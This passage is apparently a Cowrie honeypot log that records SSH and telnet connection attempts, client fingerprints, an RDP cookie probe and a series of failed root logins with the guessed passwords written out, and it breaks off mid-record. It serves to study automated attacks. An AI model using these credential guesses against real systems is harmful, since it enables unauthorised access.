{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:22.602404Z","src_ip":"43.133.148.170","session":"f9ac2bef59ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61911,"dst_ip":"10.17.0.5","dst_port":22,"session":"f03d9f5a08a4","protocol":"ssh","message":"New connection: 152.42.212.128:61911 (10.17.0.5:22) [session: f03d9f5a08a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:23.209440Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:23.214568Z","src_ip":"152.42.212.128","session":"f03d9f5a08a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:23.218212Z","src_ip":"152.42.212.128","session":"f03d9f5a08a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"advocate","message":"login attempt [root/advocate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:23.637207Z","src_ip":"43.133.148.170","session":"f9ac2bef59ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:24.892426Z","src_ip":"43.133.148.170","session":"f9ac2bef59ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0021288394928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:26.492854Z","src_ip":"152.42.224.71","session":"75fa9d106518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb197d62078","protocol":"telnet","message":"New connection: 152.42.224.71:38638 (10.17.0.5:23) [session: ceb197d62078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:35.579571Z"}
{"eventid":"cowrie.session.closed","duration":49.56373882293701,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:37.809472Z","src_ip":"152.42.224.71","session":"6196701bcbea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c88cea63957","protocol":"telnet","message":"New connection: 152.42.224.71:58762 (10.17.0.5:23) [session: 2c88cea63957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:40.911191Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46370,"dst_ip":"10.17.0.5","dst_port":22,"session":"dffe29538a35","protocol":"ssh","message":"New connection: 103.98.149.87:46370 (10.17.0.5:22) [session: dffe29538a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:42.384944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:42.394684Z","src_ip":"103.98.149.87","session":"dffe29538a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:42.633756Z","src_ip":"103.98.149.87","session":"dffe29538a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superman","message":"login attempt [root/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:43.525919Z","src_ip":"103.98.149.87","session":"dffe29538a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58776,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f0221e7c42","protocol":"telnet","message":"New connection: 152.42.224.71:58776 (10.17.0.5:23) [session: 01f0221e7c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:43.920839Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:44.749169Z","src_ip":"103.98.149.87","session":"dffe29538a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38630,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1822f0a64d4","protocol":"telnet","message":"New connection: 152.42.224.71:38630 (10.17.0.5:23) [session: b1822f0a64d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:45.349639Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":16529,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6379a8df807","protocol":"ssh","message":"New connection: 223.197.186.7:16529 (10.17.0.5:22) [session: c6379a8df807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:46.639958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:46.644792Z","src_ip":"223.197.186.7","session":"c6379a8df807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:46.871069Z","src_ip":"223.197.186.7","session":"c6379a8df807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dts","message":"login attempt [root/dts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:47.797023Z","src_ip":"223.197.186.7","session":"c6379a8df807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:49.019511Z","src_ip":"223.197.186.7","session":"c6379a8df807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.892202615737915,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:56.365272Z","src_ip":"152.42.224.71","session":"5ea57e4ebe0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":50428,"dst_ip":"10.17.0.5","dst_port":22,"session":"602cfc81e00c","protocol":"ssh","message":"New connection: 124.109.2.211:50428 (10.17.0.5:22) [session: 602cfc81e00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:57.232944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:57.238008Z","src_ip":"124.109.2.211","session":"602cfc81e00c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:57.539673Z","src_ip":"124.109.2.211","session":"602cfc81e00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatchqwerty","message":"login attempt [root/Netwatchqwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:58.562751Z","src_ip":"124.109.2.211","session":"602cfc81e00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:09:59.835361Z","src_ip":"124.109.2.211","session":"602cfc81e00c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54126,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f830a474a7b","protocol":"telnet","message":"New connection: 152.42.224.71:54126 (10.17.0.5:23) [session: 1f830a474a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:00.662781Z"}
{"eventid":"cowrie.session.closed","duration":120.00178670883179,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:00.777370Z","src_ip":"152.42.224.71","session":"d406553b2c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.67498183250427,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:05.762080Z","src_ip":"152.42.224.71","session":"176ea4898db2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58094,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1109f060c7","protocol":"telnet","message":"New connection: 152.42.224.71:58094 (10.17.0.5:23) [session: 3d1109f060c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:07.509443Z"}
{"eventid":"cowrie.session.closed","duration":30.187665700912476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:11.098731Z","src_ip":"152.42.224.71","session":"2c88cea63957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.72714376449585,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:14.076651Z","src_ip":"152.42.224.71","session":"b1822f0a64d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.237953186035156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:16.158671Z","src_ip":"152.42.224.71","session":"01f0221e7c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00121235847473,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:16.251852Z","src_ip":"152.42.224.71","session":"38a6249f7286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.769717693328857,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:24.279018Z","src_ip":"152.42.224.71","session":"3d1109f060c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.154.97.140","src_port":34132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff1059e654ea","protocol":"telnet","message":"New connection: 142.154.97.140:34132 (10.17.0.5:23) [session: ff1059e654ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:27.189854Z"}
{"eventid":"cowrie.session.closed","duration":52.205254554748535,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:27.784711Z","src_ip":"152.42.224.71","session":"ceb197d62078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":58440,"dst_ip":"10.17.0.5","dst_port":22,"session":"809385f1aa28","protocol":"ssh","message":"New connection: 43.245.98.60:58440 (10.17.0.5:22) [session: 809385f1aa28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:29.458650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:29.466200Z","src_ip":"43.245.98.60","session":"809385f1aa28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a09094ce1cd","protocol":"telnet","message":"New connection: 152.42.224.71:34980 (10.17.0.5:23) [session: 0a09094ce1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:29.613611Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:29.708054Z","src_ip":"43.245.98.60","session":"809385f1aa28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":49853,"dst_ip":"10.17.0.5","dst_port":22,"session":"49c77cbbaf38","protocol":"ssh","message":"New connection: 223.197.186.7:49853 (10.17.0.5:22) [session: 49c77cbbaf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:30.402009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:30.406441Z","src_ip":"223.197.186.7","session":"49c77cbbaf38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:30.630104Z","src_ip":"223.197.186.7","session":"49c77cbbaf38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buzhidao","message":"login attempt [root/buzhidao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:30.702126Z","src_ip":"43.245.98.60","session":"809385f1aa28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bananas","message":"login attempt [root/bananas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:31.669927Z","src_ip":"223.197.186.7","session":"49c77cbbaf38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:31.944983Z","src_ip":"43.245.98.60","session":"809385f1aa28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:32.888618Z","src_ip":"223.197.186.7","session":"49c77cbbaf38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":36132,"dst_ip":"10.17.0.5","dst_port":22,"session":"59dddfaa58eb","protocol":"ssh","message":"New connection: 43.133.148.170:36132 (10.17.0.5:22) [session: 59dddfaa58eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:36.705013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:36.709680Z","src_ip":"43.133.148.170","session":"59dddfaa58eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellm